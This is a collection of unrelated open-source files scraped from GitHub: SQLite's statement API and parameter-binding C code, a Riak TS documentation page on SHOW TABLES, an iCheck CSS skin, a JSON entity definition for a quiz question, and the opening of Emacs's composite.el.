#endif /* SQLITE_OMIT_UTF16 */
int sqlite3_column_type(sqlite3_stmt *pStmt, int i){
int iType = sqlite3_value_type( columnMem(pStmt,i) );
columnMallocFailure(pStmt);
return iType;
}
/*
** Convert the N-th element of pStmt->pColName[] into a string using
** xFunc() then return that string. If N is out of range, return 0.
**
** There are up to 5 names for each column. useType determines which
** name is returned. Here are the names:
**
** 0 The column name as it should be displayed for output
** 1 The datatype name for the column
** 2 The name of the database that the column derives from
** 3 The name of the table that the column derives from
** 4 The name of the table column that the result column derives from
**
** If the result is not a simple column reference (if it is an expression
** or a constant) then useTypes 2, 3, and 4 return NULL.
*/
static const void *columnName(
sqlite3_stmt *pStmt,
int N,
const void *(*xFunc)(Mem*),
int useType
){
const void *ret;
Vdbe *p;
int n;
sqlite3 *db;
#ifdef SQLITE_ENABLE_API_ARMOR
if( pStmt==0 ){
(void)SQLITE_MISUSE_BKPT;
return 0;
}
#endif
ret = 0;
p = (Vdbe *)pStmt;
db = p->db;
assert( db!=0 );
n = sqlite3_column_count(pStmt);
if( N<n && N>=0 ){
N += useType*n;
sqlite3_mutex_enter(db->mutex);
assert( db->mallocFailed==0 );
ret = xFunc(&p->aColName[N]);
/* A malloc may have failed inside of the xFunc() call. If this
** is the case, clear the mallocFailed flag and return NULL.
*/
if( db->mallocFailed ){
sqlite3OomClear(db);
ret = 0;
}
sqlite3_mutex_leave(db->mutex);
}
return ret;
}
/*
** Return the name of the Nth column of the result set returned by SQL
** statement pStmt.
*/
const char *sqlite3_column_name(sqlite3_stmt *pStmt, int N){
return columnName(
pStmt, N, (const void*(*)(Mem*))sqlite3_value_text, COLNAME_NAME);
}
#ifndef SQLITE_OMIT_UTF16
const void *sqlite3_column_name16(sqlite3_stmt *pStmt, int N){
return columnName(
pStmt, N, (const void*(*)(Mem*))sqlite3_value_text16, COLNAME_NAME);
}
#endif
/*
** Constraint: If you have ENABLE_COLUMN_METADATA then you must
** not define OMIT_DECLTYPE.
*/
#if defined(SQLITE_OMIT_DECLTYPE) && defined(SQLITE_ENABLE_COLUMN_METADATA)
# error "Must not define both SQLITE_OMIT_DECLTYPE \
and SQLITE_ENABLE_COLUMN_METADATA"
#endif
#ifndef SQLITE_OMIT_DECLTYPE
/*
** Return the column declaration type (if applicable) of the 'i'th column
** of the result set of SQL statement pStmt.
*/
const char *sqlite3_column_decltype(sqlite3_stmt *pStmt, int N){
return columnName(
pStmt, N, (const void*(*)(Mem*))sqlite3_value_text, COLNAME_DECLTYPE);
}
#ifndef SQLITE_OMIT_UTF16
const void *sqlite3_column_decltype16(sqlite3_stmt *pStmt, int N){
return columnName(
pStmt, N, (const void*(*)(Mem*))sqlite3_value_text16, COLNAME_DECLTYPE);
}
#endif /* SQLITE_OMIT_UTF16 */
#endif /* SQLITE_OMIT_DECLTYPE */
#ifdef SQLITE_ENABLE_COLUMN_METADATA
/*
** Return the name of the database from which a result column derives.
** NULL is returned if the result column is an expression or constant or
** anything else which is not an unambiguous reference to a database column.
*/
const char *sqlite3_column_database_name(sqlite3_stmt *pStmt, int N){
return columnName(
pStmt, N, (const void*(*)(Mem*))sqlite3_value_text, COLNAME_DATABASE);
}
#ifndef SQLITE_OMIT_UTF16
const void *sqlite3_column_database_name16(sqlite3_stmt *pStmt, int N){
return columnName(
pStmt, N, (const void*(*)(Mem*))sqlite3_value_text16, COLNAME_DATABASE);
}
#endif /* SQLITE_OMIT_UTF16 */
/*
** Return the name of the table from which a result column derives.
** NULL is returned if the result column is an expression or constant or
** anything else which is not an unambiguous reference to a database column.
*/
const char *sqlite3_column_table_name(sqlite3_stmt *pStmt, int N){
return columnName(
pStmt, N, (const void*(*)(Mem*))sqlite3_value_text, COLNAME_TABLE);
}
#ifndef SQLITE_OMIT_UTF16
const void *sqlite3_column_table_name16(sqlite3_stmt *pStmt, int N){
return columnName(
pStmt, N, (const void*(*)(Mem*))sqlite3_value_text16, COLNAME_TABLE);
}
#endif /* SQLITE_OMIT_UTF16 */
/*
** Return the name of the table column from which a result column derives.
** NULL is returned if the result column is an expression or constant or
** anything else which is not an unambiguous reference to a database column.
*/
const char *sqlite3_column_origin_name(sqlite3_stmt *pStmt, int N){
return columnName(
pStmt, N, (const void*(*)(Mem*))sqlite3_value_text, COLNAME_COLUMN);
}
#ifndef SQLITE_OMIT_UTF16
const void *sqlite3_column_origin_name16(sqlite3_stmt *pStmt, int N){
return columnName(
pStmt, N, (const void*(*)(Mem*))sqlite3_value_text16, COLNAME_COLUMN);
}
#endif /* SQLITE_OMIT_UTF16 */
#endif /* SQLITE_ENABLE_COLUMN_METADATA */
/******************************* sqlite3_bind_ ***************************
**
** Routines used to attach values to wildcards in a compiled SQL statement.
*/
/*
** Unbind the value bound to variable i in virtual machine p. This is the
** the same as binding a NULL value to the column. If the "i" parameter is
** out of range, then SQLITE_RANGE is returned. Othewise SQLITE_OK.
**
** A successful evaluation of this routine acquires the mutex on p.
** the mutex is released if any kind of error occurs.
**
** The error code stored in database p->db is overwritten with the return
** value in any case.
*/
static int vdbeUnbind(Vdbe *p, int i){
Mem *pVar;
if( vdbeSafetyNotNull(p) ){
return SQLITE_MISUSE_BKPT;
}
sqlite3_mutex_enter(p->db->mutex);
if( p->magic!=VDBE_MAGIC_RUN || p->pc>=0 ){
sqlite3Error(p->db, SQLITE_MISUSE);
sqlite3_mutex_leave(p->db->mutex);
sqlite3_log(SQLITE_MISUSE,
"bind on a busy prepared statement: [%s]", p->zSql);
return SQLITE_MISUSE_BKPT;
}
if( i<1 || i>p->nVar ){
sqlite3Error(p->db, SQLITE_RANGE);
sqlite3_mutex_leave(p->db->mutex);
return SQLITE_RANGE;
}
i--;
pVar = &p->aVar[i];
sqlite3VdbeMemRelease(pVar);
pVar->flags = MEM_Null;
sqlite3Error(p->db, SQLITE_OK);
/* If the bit corresponding to this variable in Vdbe.expmask is set, then
** binding a new value to this variable invalidates the current query plan.
**
** IMPLEMENTATION-OF: R-48440-37595 If the specific value bound to host
** parameter in the WHERE clause might influence the choice of query plan
** for a statement, then the statement will be automatically recompiled,
** as if there had been a schema change, on the first sqlite3_step() call
** following any change to the bindings of that parameter.
*/
if( p->isPrepareV2 &&
((i<32 && p->expmask & ((u32)1 << i)) || p->expmask==0xffffffff)
){
p->expired = 1;
}
return SQLITE_OK;
}
/*
** Bind a text or BLOB value.
*/
static int bindText(
sqlite3_stmt *pStmt, /* The statement to bind against */
int i, /* Index of the parameter to bind */
const void *zData, /* Pointer to the data to be bound */
int nData, /* Number of bytes of data to be bound */
void (*xDel)(void*), /* Destructor for the data */
u8 encoding /* Encoding for the data */
){
Vdbe *p = (Vdbe *)pStmt;
Mem *pVar;
int rc;
rc = vdbeUnbind(p, i);
if( rc==SQLITE_OK ){
if( zData!=0 ){
pVar = &p->aVar[i-1];
rc = sqlite3VdbeMemSetStr(pVar, zData, nData, encoding, xDel);
if( rc==SQLITE_OK && encoding!=0 ){
rc = sqlite3VdbeChangeEncoding(pVar, ENC(p->db));
}
sqlite3Error(p->db, rc);
rc = sqlite3ApiExit(p->db, rc);
}
sqlite3_mutex_leave(p->db->mutex);
}else if( xDel!=SQLITE_STATIC && xDel!=SQLITE_TRANSIENT ){
xDel((void*)zData);
}
return rc;
}
/*
** Bind a blob value to an SQL statement variable.
*/
int sqlite3_bind_blob(
sqlite3_stmt *pStmt,
int i,
const void *zData,
int nData,
void (*xDel)(void*)
){
#ifdef SQLITE_ENABLE_API_ARMOR
if( nData<0 ) return SQLITE_MISUSE_BKPT;
#endif
return bindText(pStmt, i, zData, nData, xDel, 0);
}
int sqlite3_bind_blob64(
sqlite3_stmt *pStmt,
int i,
const void *zData,
sqlite3_uint64 nData,
void (*xDel)(void*)
){
assert( xDel!=SQLITE_DYNAMIC );
if( nData>0x7fffffff ){
return invokeValueDestructor(zData, xDel, 0);
}else{
return bindText(pStmt, i, zData, (int)nData, xDel, 0);
}
}
int sqlite3_bind_double(sqlite3_stmt *pStmt, int i, double rValue){
int rc;
Vdbe *p = (Vdbe *)pStmt;
rc = vdbeUnbind(p, i);
if( rc==SQLITE_OK ){
sqlite3VdbeMemSetDouble(&p->aVar[i-1], rValue);
sqlite3_mutex_leave(p->db->mutex);
}
return rc;
}
int sqlite3_bind_int(sqlite3_stmt *p, int i, int iValue){
return sqlite3_bind_int64(p, i, (i64)iValue);
}
int sqlite3_bind_int64(sqlite3_stmt *pStmt, int i, sqlite_int64 iValue){
int rc;
Vdbe *p = (Vdbe *)pStmt;
rc = vdbeUnbind(p, i);
if( rc==SQLITE_OK ){
sqlite3VdbeMemSetInt64(&p->aVar[i-1], iValue);
sqlite3_mutex_leave(p->db->mutex);
}
return rc;
}
int sqlite3_bind_null(sqlite3_stmt *pStmt, int i){
int rc;
Vdbe *p = (Vdbe*)pStmt;
rc = vdbeUnbind(p, i);
if( rc==SQLITE_OK ){
sqlite3_mutex_leave(p->db->mutex);
}
return rc;
}
int sqlite3_bind_text(
sqlite3_stmt *pStmt,
int i,
const char *zData,
int nData,
void (*xDel)(void*)
){
return bindText(pStmt, i, zData, nData, xDel, SQLITE_UTF8);
}
int sqlite3_bind_text64(
sqlite3_stmt *pStmt,
int i,
const char *zData,
sqlite3_uint64 nData,
void (*xDel)(void*),
unsigned char enc
){
assert( xDel!=SQLITE_DYNAMIC );
if( nData>0x7fffffff ){
return invokeValueDestructor(zData, xDel, 0);
}else{
if( enc==SQLITE_UTF16 ) enc = SQLITE_UTF16NATIVE;
return bindText(pStmt, i, zData, (int)nData, xDel, enc);
}
}
#ifndef SQLITE_OMIT_UTF16
int sqlite3_bind_text16(
sqlite3_stmt *pStmt,
int i,
const void *zData,
int nData,
void (*xDel)(void*)
){
return bindText(pStmt, i, zData, nData, xDel, SQLITE_UTF16NATIVE);
}
#endif /* SQLITE_OMIT_UTF16 */
int sqlite3_bind_value(sqlite3_stmt *pStmt, int i, const sqlite3_value *pValue){
int rc;
switch( sqlite3_value_type((sqlite3_value*)pValue) ){
case SQLITE_INTEGER: {
rc = sqlite3_bind_int64(pStmt, i, pValue->u.i);
break;
}
case SQLITE_FLOAT: {
rc = sqlite3_bind_double(pStmt, i, pValue->u.r);
break;
}
case SQLITE_BLOB: {
if( pValue->flags & MEM_Zero ){
rc = sqlite3_bind_zeroblob(pStmt, i, pValue->u.nZero);
}else{
rc = sqlite3_bind_blob(pStmt, i, pValue->z, pValue->n,SQLITE_TRANSIENT);
}
break;
}
case SQLITE_TEXT: {
rc = bindText(pStmt,i, pValue->z, pValue->n, SQLITE_TRANSIENT,
pValue->enc);
break;
}
default: {
rc = sqlite3_bind_null(pStmt, i);
break;
}
}
return rc;
}
int sqlite3_bind_zeroblob(sqlite3_stmt *pStmt, int i, int n){
int rc;
Vdbe *p = (Vdbe *)pStmt;
rc = vdbeUnbind(p, i);
if( rc==SQLITE_OK ){
sqlite3VdbeMemSetZeroBlob(&p->aVar[i-1], n);
sqlite3_mutex_leave(p->db->mutex);
}
return rc;
}
int sqlite3_bind_zeroblob64(sqlite3_stmt *pStmt, int i, sqlite3_uint64 n){
int rc;
Vdbe *p = (Vdbe *)pStmt;
sqlite3_mutex_enter(p->db->mutex);
if( n>(u64)p->db->aLimit[SQLITE_LIMIT_LENGTH] ){
rc = SQLITE_TOOBIG;
}else{
assert( (n & 0x7FFFFFFF)==n );
rc = sqlite3_bind_zeroblob(pStmt, i, n);
}
rc = sqlite3ApiExit(p->db, rc);
sqlite3_mutex_leave(p->db->mutex);
return rc;
}
/*
** Return the number of wildcards that can be potentially bound to.
** This routine is added to support DBD::SQLite.
*/
int sqlite3_bind_parameter_count(sqlite3_stmt *pStmt){
Vdbe *p = (Vdbe*)pStmt;
return p ? p->nVar : 0;
}
/*
** Return the name of a wildcard parameter. Return NULL if the index
** is out of range or if the wildcard is unnamed.
**
** The result is always UTF-8.
*/
const char *sqlite3_bind_parameter_name(sqlite3_stmt *pStmt, int i){
Vdbe *p = (Vdbe*)pStmt;
if( p==0 || i<1 || i>p->nzVar ){
return 0;
}
return p->azVar[i-1];
}
/*
** Given a wildcard parameter name, return the index of the variable
** with that name. If there is no variable with the given name,
** return 0.
*/
int sqlite3VdbeParameterIndex(Vdbe *p, const char *zName, int nName){
int i;
if( p==0 ){
return 0;
}
if( zName ){
for(i=0; i<p->nzVar; i++){
const char *z = p->azVar[i];
if( z && strncmp(z,zName,nName)==0 && z[nName]==0 ){
return i+1;
}
}
}
return 0;
}
int sqlite3_bind_parameter_index(sqlite3_stmt *pStmt, const char *zName){
return sqlite3VdbeParameterIndex((Vdbe*)pStmt, zName, sqlite3Strlen30(zName));
}
/*
** Transfer all bindings from the first statement over to the second.
*/
int sqlite3TransferBindings(sqlite3_stmt *pFromStmt, sqlite3_stmt *pToStmt){
Vdbe *pFrom = (Vdbe*)pFromStmt;
Vdbe *pTo = (Vdbe*)pToStmt;
int i;
assert( pTo->db==pFrom->db );
assert( pTo->nVar==pFrom->nVar );
sqlite3_mutex_enter(pTo->db->mutex);
for(i=0; i<pFrom->nVar; i++){
sqlite3VdbeMemMove(&pTo->aVar[i], &pFrom->aVar[i]);
}
sqlite3_mutex_leave(pTo->db->mutex);
return SQLITE_OK;
}
#ifndef SQLITE_OMIT_DEPRECATED
/*
** Deprecated external interface. Internal/core SQLite code
** should call sqlite3TransferBindings.
**
** It is misuse to call this routine with statements from different
** database connections. But as this is a deprecated interface, we
** will not bother to check for that condition.
**
** If the two statements contain a different number of bindings, then
** an SQLITE_ERROR is returned. Nothing else can go wrong, so otherwise
** SQLITE_OK is returned.
*/
int sqlite3_transfer_bindings(sqlite3_stmt *pFromStmt, sqlite3_stmt *pToStmt){
Vdbe *pFrom = (Vdbe*)pFromStmt;
Vdbe *pTo = (Vdbe*)pToStmt;
if( pFrom->nVar!=pTo->nVar ){
return SQLITE_ERROR;
}
if( pTo->isPrepareV2 && pTo->expmask ){
pTo->expired = 1;
}
if( pFrom->isPrepareV2 && pFrom->expmask ){
pFrom->expired = 1;
}
return sqlite3TransferBindings(pFromStmt, pToStmt);
}
#endif
/*
** Return the sqlite3* database handle to which the prepared statement given
** in the argument belongs. This is the same database handle that was
** the first argument to the sqlite3_prepare() that was used to create
** the statement in the first place.
*/
sqlite3 *sqlite3_db_handle(sqlite3_stmt *pStmt){
return pStmt ? ((Vdbe*)pStmt)->db : 0;
}
/*
** Return true if the prepared statement is guaranteed to not modify the
** database.
*/
int sqlite3_stmt_readonly(sqlite3_stmt *pStmt){
return pStmt ? ((Vdbe*)pStmt)->readOnly : 1;
}
/*
** Return true if the prepared statement is in need of being reset.
*/
int sqlite3_stmt_busy(sqlite3_stmt *pStmt){
Vdbe *v = (Vdbe*)pStmt;
return v!=0 && v->magic==VDBE_MAGIC_RUN && v->pc>=0;
}
/*
** Return a pointer to the next prepared statement after pStmt associated
** with database connection pDb. If pStmt is NULL, return the first
** prepared statement for the database connection. Return NULL if there
** are no more.
*/
sqlite3_stmt *sqlite3_next_stmt(sqlite3 *pDb, sqlite3_stmt *pStmt){
sqlite3_stmt *pNext;
#ifdef SQLITE_ENABLE_API_ARMOR
if( !sqlite3SafetyCheckOk(pDb) ){
(void)SQLITE_MISUSE_BKPT;
return 0;
}
#endif
sqlite3_mutex_enter(pDb->mutex);
if( pStmt==0 ){
pNext = (sqlite3_stmt*)pDb->pVdbe;
}else{
pNext = (sqlite3_stmt*)((Vdbe*)pStmt)->pNext;
}
sqlite3_mutex_leave(pDb->mutex);
return pNext;
}
/*
** Return the value of a status counter for a prepared statement
*/
int sqlite3_stmt_status(sqlite3_stmt *pStmt, int op, int resetFlag){
Vdbe *pVdbe = (Vdbe*)pStmt;
u32 v;
#ifdef SQLITE_ENABLE_API_ARMOR
if( !pStmt ){
(void)SQLITE_MISUSE_BKPT;
return 0;
}
#endif
v = pVdbe->aCounter[op];
if( resetFlag ) pVdbe->aCounter[op] = 0;
return (int)v;
}
/*
** Return the SQL associated with a prepared statement
*/
const char *sqlite3_sql(sqlite3_stmt *pStmt){
Vdbe *p = (Vdbe *)pStmt;
return p ? p->zSql : 0;
}
/*
** Return the SQL associated with a prepared statement with
** bound parameters expanded. Space to hold the returned string is
** obtained from sqlite3_malloc(). The caller is responsible for
** freeing the returned string by passing it to sqlite3_free().
**
** The SQLITE_TRACE_SIZE_LIMIT puts an upper bound on the size of
** expanded bound parameters.
*/
char *sqlite3_expanded_sql(sqlite3_stmt *pStmt){
#ifdef SQLITE_OMIT_TRACE
return 0;
#else
char *z = 0;
const char *zSql = sqlite3_sql(pStmt);
if( zSql ){
Vdbe *p = (Vdbe *)pStmt;
sqlite3_mutex_enter(p->db->mutex);
z = sqlite3VdbeExpandSql(p, zSql);
sqlite3_mutex_leave(p->db->mutex);
}
return z;
#endif
}
#ifdef SQLITE_ENABLE_PREUPDATE_HOOK
/*
** Allocate and populate an UnpackedRecord structure based on the serialized
** record in nKey/pKey. Return a pointer to the new UnpackedRecord structure
** if successful, or a NULL pointer if an OOM error is encountered.
*/
static UnpackedRecord *vdbeUnpackRecord(
KeyInfo *pKeyInfo,
int nKey,
const void *pKey
){
char *dummy; /* Dummy argument for AllocUnpackedRecord() */
UnpackedRecord *pRet; /* Return value */
pRet = sqlite3VdbeAllocUnpackedRecord(pKeyInfo, 0, 0, &dummy);
if( pRet ){
memset(pRet->aMem, 0, sizeof(Mem)*(pKeyInfo->nField+1));
sqlite3VdbeRecordUnpack(pKeyInfo, nKey, pKey, pRet);
}
return pRet;
}
/*
** This function is called from within a pre-update callback to retrieve
** a field of the row currently being updated or deleted.
*/
int sqlite3_preupdate_old(sqlite3 *db, int iIdx, sqlite3_value **ppValue){
PreUpdate *p = db->pPreUpdate;
int rc = SQLITE_OK;
/* Test that this call is being made from within an SQLITE_DELETE or
** SQLITE_UPDATE pre-update callback, and that iIdx is within range. */
if( !p || p->op==SQLITE_INSERT ){
rc = SQLITE_MISUSE_BKPT;
goto preupdate_old_out;
}
if( iIdx>=p->pCsr->nField || iIdx<0 ){
rc = SQLITE_RANGE;
goto preupdate_old_out;
}
/* If the old.* record has not yet been loaded into memory, do so now. */
if( p->pUnpacked==0 ){
u32 nRec;
u8 *aRec;
nRec = sqlite3BtreePayloadSize(p->pCsr->uc.pCursor);
aRec = sqlite3DbMallocRaw(db, nRec);
if( !aRec ) goto preupdate_old_out;
rc = sqlite3BtreeData(p->pCsr->uc.pCursor, 0, nRec, aRec);
if( rc==SQLITE_OK ){
p->pUnpacked = vdbeUnpackRecord(&p->keyinfo, nRec, aRec);
if( !p->pUnpacked ) rc = SQLITE_NOMEM;
}
if( rc!=SQLITE_OK ){
sqlite3DbFree(db, aRec);
goto preupdate_old_out;
}
p->aRecord = aRec;
}
if( iIdx>=p->pUnpacked->nField ){
*ppValue = (sqlite3_value *)columnNullValue();
}else{
Mem *pMem = *ppValue = &p->pUnpacked->aMem[iIdx];
*ppValue = &p->pUnpacked->aMem[iIdx];
if( iIdx==p->pTab->iPKey ){
sqlite3VdbeMemSetInt64(pMem, p->iKey1);
}else if( p->pTab->aCol[iIdx].affinity==SQLITE_AFF_REAL ){
if( pMem->flags & MEM_Int ){
sqlite3VdbeMemRealify(pMem);
}
}
}
preupdate_old_out:
sqlite3Error(db, rc);
return sqlite3ApiExit(db, rc);
}
#endif /* SQLITE_ENABLE_PREUPDATE_HOOK */
#ifdef SQLITE_ENABLE_PREUPDATE_HOOK
/*
** This function is called from within a pre-update callback to retrieve
** the number of columns in the row being updated, deleted or inserted.
*/
int sqlite3_preupdate_count(sqlite3 *db){
PreUpdate *p = db->pPreUpdate;
return (p ? p->keyinfo.nField : 0);
}
#endif /* SQLITE_ENABLE_PREUPDATE_HOOK */
#ifdef SQLITE_ENABLE_PREUPDATE_HOOK
/*
** This function is designed to be called from within a pre-update callback
** only. It returns zero if the change that caused the callback was made
** immediately by a user SQL statement. Or, if the change was made by a
** trigger program, it returns the number of trigger programs currently
** on the stack (1 for a top-level trigger, 2 for a trigger fired by a
** top-level trigger etc.).
**
** For the purposes of the previous paragraph, a foreign key CASCADE, SET NULL
** or SET DEFAULT action is considered a trigger.
*/
int sqlite3_preupdate_depth(sqlite3 *db){
PreUpdate *p = db->pPreUpdate;
return (p ? p->v->nFrame : 0);
}
#endif /* SQLITE_ENABLE_PREUPDATE_HOOK */
#ifdef SQLITE_ENABLE_PREUPDATE_HOOK
/*
** This function is called from within a pre-update callback to retrieve
** a field of the row currently being updated or inserted.
*/
int sqlite3_preupdate_new(sqlite3 *db, int iIdx, sqlite3_value **ppValue){
PreUpdate *p = db->pPreUpdate;
int rc = SQLITE_OK;
Mem *pMem;
if( !p || p->op==SQLITE_DELETE ){
rc = SQLITE_MISUSE_BKPT;
goto preupdate_new_out;
}
if( iIdx>=p->pCsr->nField || iIdx<0 ){
rc = SQLITE_RANGE;
goto preupdate_new_out;
}
if( p->op==SQLITE_INSERT ){
/* For an INSERT, memory cell p->iNewReg contains the serialized record
** that is being inserted. Deserialize it. */
UnpackedRecord *pUnpack = p->pNewUnpacked;
if( !pUnpack ){
Mem *pData = &p->v->aMem[p->iNewReg];
rc = ExpandBlob(pData);
if( rc!=SQLITE_OK ) goto preupdate_new_out;
pUnpack = vdbeUnpackRecord(&p->keyinfo, pData->n, pData->z);
if( !pUnpack ){
rc = SQLITE_NOMEM;
goto preupdate_new_out;
}
p->pNewUnpacked = pUnpack;
}
if( iIdx>=pUnpack->nField ){
pMem = (sqlite3_value *)columnNullValue();
}else{
pMem = &pUnpack->aMem[iIdx];
if( iIdx==p->pTab->iPKey ){
sqlite3VdbeMemSetInt64(pMem, p->iKey2);
}
}
}else{
/* For an UPDATE, memory cell (p->iNewReg+1+iIdx) contains the required
** value. Make a copy of the cell contents and return a pointer to it.
** It is not safe to return a pointer to the memory cell itself as the
** caller may modify the value text encoding.
*/
assert( p->op==SQLITE_UPDATE );
if( !p->aNew ){
p->aNew = (Mem *)sqlite3DbMallocZero(db, sizeof(Mem) * p->pCsr->nField);
if( !p->aNew ){
rc = SQLITE_NOMEM;
goto preupdate_new_out;
}
}
assert( iIdx>=0 && iIdx<p->pCsr->nField );
pMem = &p->aNew[iIdx];
if( pMem->flags==0 ){
if( iIdx==p->pTab->iPKey ){
sqlite3VdbeMemSetInt64(pMem, p->iKey2);
}else{
rc = sqlite3VdbeMemCopy(pMem, &p->v->aMem[p->iNewReg+1+iIdx]);
if( rc!=SQLITE_OK ) goto preupdate_new_out;
}
}
}
*ppValue = pMem;
preupdate_new_out:
sqlite3Error(db, rc);
return sqlite3ApiExit(db, rc);
}
#endif /* SQLITE_ENABLE_PREUPDATE_HOOK */
#ifdef SQLITE_ENABLE_STMT_SCANSTATUS
/*
** Return status data for a single loop within query pStmt.
*/
int sqlite3_stmt_scanstatus(
sqlite3_stmt *pStmt, /* Prepared statement being queried */
int idx, /* Index of loop to report on */
int iScanStatusOp, /* Which metric to return */
void *pOut /* OUT: Write the answer here */
){
Vdbe *p = (Vdbe*)pStmt;
ScanStatus *pScan;
if( idx<0 || idx>=p->nScan ) return 1;
pScan = &p->aScan[idx];
switch( iScanStatusOp ){
case SQLITE_SCANSTAT_NLOOP: {
*(sqlite3_int64*)pOut = p->anExec[pScan->addrLoop];
break;
}
case SQLITE_SCANSTAT_NVISIT: {
*(sqlite3_int64*)pOut = p->anExec[pScan->addrVisit];
break;
}
case SQLITE_SCANSTAT_EST: {
double r = 1.0;
LogEst x = pScan->nEst;
while( x<100 ){
x += 10;
r *= 0.5;
}
*(double*)pOut = r*sqlite3LogEstToInt(x);
break;
}
case SQLITE_SCANSTAT_NAME: {
*(const char**)pOut = pScan->zName;
break;
}
case SQLITE_SCANSTAT_EXPLAIN: {
if( pScan->addrExplain ){
*(const char**)pOut = p->aOp[ pScan->addrExplain ].p4.z;
}else{
*(const char**)pOut = 0;
}
break;
}
case SQLITE_SCANSTAT_SELECTID: {
if( pScan->addrExplain ){
*(int*)pOut = p->aOp[ pScan->addrExplain ].p1;
}else{
*(int*)pOut = -1;
}
break;
}
default: {
return 1;
}
}
return 0;
}
/*
** Zero all counters associated with the sqlite3_stmt_scanstatus() data.
*/
void sqlite3_stmt_scanstatus_reset(sqlite3_stmt *pStmt){
Vdbe *p = (Vdbe*)pStmt;
memset(p->anExec, 0, p->nOp * sizeof(i64));
}
#endif /* SQLITE_ENABLE_STMT_SCANSTATUS */
|
{
"pile_set_name": "Github"
}
|
---
title: "SHOW TABLES in Riak TS"
description: "Using the SHOW TABLES statement in Riak TS"
menu:
riak_ts-1.5.1:
name: "SHOW TABLES"
identifier: "show_tables_riakts"
weight: 300
parent: "querying_data_riakts"
project: "riak_ts"
project_version: "1.5.1"
toc: true
aliases:
- /riakts/1.5.1/using/querying/show-tables
canonical_link: "https://docs.basho.com/riak/ts/latest/using/querying/show-tables"
---
[riak shell]: /riak/ts/1.5.1/using/riakshell
You can use the SHOW TABLES statement to enumerate the Riak TS tables you have set up. This document will show you how to execute `SHOW TABLES` in TS.
The SHOW TABLES statement returns a list of tables you've created in a single column with one row per table name.
For example:
```sql
SHOW TABLES
```
Returns:
```sql
+---------------+------------+
| Table | Status |
+---------------+------------|
| RandomTable | Active |
| GeoCheckin | Active |
| UpcomingTable | Not Active |
|AnotherTable | Active |
| FinalTable | Active |
+---------------+------------+
```
You can use `SHOW TABLES` in [riak shell]:
```
riak-shell>show tables;
+---------------+------------+
| Table | Status |
+---------------+------------|
| RandomTable | Active |
| GeoCheckin | Active |
| UpcomingTable | Not Active |
|AnotherTable | Active |
| FinalTable | Active |
+---------------+------------+
```
Using TS's supported clients, a successful `SHOW TABLE` will return a regular successful query result:
```
+---------------+------------+
| Table | Status |
+---------------+------------|
| RandomTable | Active |
| GeoCheckin | Active |
| UpcomingTable | Not Active |
|AnotherTable | Active |
| FinalTable | Active |
+---------------+------------+
```
|
{
"pile_set_name": "Github"
}
|
/* iCheck plugin Minimal skin, orange
----------------------------------- */
.icheckbox_minimal-orange,
.iradio_minimal-orange {
display: inline-block;
*display: inline;
vertical-align: middle;
margin: 0;
padding: 0;
width: 18px;
height: 18px;
background: url(orange.png) no-repeat;
border: none;
cursor: pointer;
}
.icheckbox_minimal-orange {
background-position: 0 0;
}
.icheckbox_minimal-orange.hover {
background-position: -20px 0;
}
.icheckbox_minimal-orange.checked {
background-position: -40px 0;
}
.icheckbox_minimal-orange.disabled {
background-position: -60px 0;
cursor: default;
}
.icheckbox_minimal-orange.checked.disabled {
background-position: -80px 0;
}
.iradio_minimal-orange {
background-position: -100px 0;
}
.iradio_minimal-orange.hover {
background-position: -120px 0;
}
.iradio_minimal-orange.checked {
background-position: -140px 0;
}
.iradio_minimal-orange.disabled {
background-position: -160px 0;
cursor: default;
}
.iradio_minimal-orange.checked.disabled {
background-position: -180px 0;
}
/* HiDPI support */
@media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi) {
.icheckbox_minimal-orange,
.iradio_minimal-orange {
background-image: url(orange@2x.png);
-webkit-background-size: 200px 20px;
background-size: 200px 20px;
}
}
|
{
"pile_set_name": "Github"
}
|
{
"name": "QuizQuestion",
"fields": [
{
"fieldName": "title",
"fieldType": "String"
},
{
"fieldName": "text",
"fieldType": "String"
},
{
"fieldName": "hint",
"fieldType": "String"
},
{
"fieldName": "explanation",
"fieldType": "String"
},
{
"fieldName": "score",
"fieldType": "Integer"
},
{
"fieldName": "scoringType",
"fieldType": "ScoringType",
"fieldValues": "ALL_OR_NOTHING,PROPORTIONAL_CORRECT_OPTIONS,TRUE_FALSE_NEUTRAL"
},
{
"fieldName": "randomizeOrder",
"fieldType": "Boolean"
},
{
"fieldName": "invalid",
"fieldType": "Boolean"
}
],
"relationships": [
{
"relationshipType": "one-to-one",
"otherEntityName": "questionStatistic",
"otherEntityRelationshipName": "quizQuestion",
"relationshipName": "questionStatistic",
"otherEntityField": "id",
"ownerSide": true
},
{
"relationshipType": "many-to-one",
"otherEntityName": "quizExercise",
"otherEntityRelationshipName": "quizQuestions",
"relationshipName": "exercise",
"otherEntityField": "id"
}
],
"changelogDate": "20190315161919",
"entityTableName": "quiz_question",
"dto": "no",
"pagination": "no",
"service": "no",
"jpaMetamodelFiltering": false,
"fluentMethods": true,
"clientRootFolder": "",
"applications": "*"
}
|
{
"pile_set_name": "Github"
}
|
;;; composite.el --- support character composition
;; Copyright (C) 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007,
;; 2008, 2009
;; National Institute of Advanced Industrial Science and Technology (AIST)
;; Registration Number H14PRO021
;; Author: Kenichi HANDA <handa@etl.go.jp>
;; (according to ack.texi)
;; Keywords: mule, multilingual, character composition
;; This file is part of GNU Emacs.
;; GNU Emacs is free software: you can redistribute it and/or modify
;; it under the terms of the GNU General Public License as published by
;; the Free Software Foundation, either version 3 of the License, or
;; (at your option) any later version.
;; GNU Emacs is distributed in the hope that it will be useful,
;; but WITHOUT ANY WARRANTY; without even the implied warranty of
;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
;; GNU General Public License for more details.
;; You should have received a copy of the GNU General Public License
;; along with GNU Emacs. If not, see <http://www.gnu.org/licenses/>.
;;; Commentary:
;;; Code:
(defconst reference-point-alist
'((tl . 0) (tc . 1) (tr . 2)
(Bl . 3) (Bc . 4) (Br . 5)
(bl . 6) (bc . 7) (br . 8)
(cl . 9) (cc . 10) (cr . 11)
(top-left . 0) (top-center . 1) (top-right . 2)
(base-left . 3) (base-center . 4) (base-right . 5)
(bottom-left . 6) (bottom-center . 7) (bottom-right . 8)
(center-left . 9) (center-center . 10) (center-right . 11)
;; For backward compatibility...
(ml . 3) (mc . 10) (mr . 5)
(mid-left . 3) (mid-center . 10) (mid-right . 5))
"Alist of symbols vs integer codes of glyph reference points.
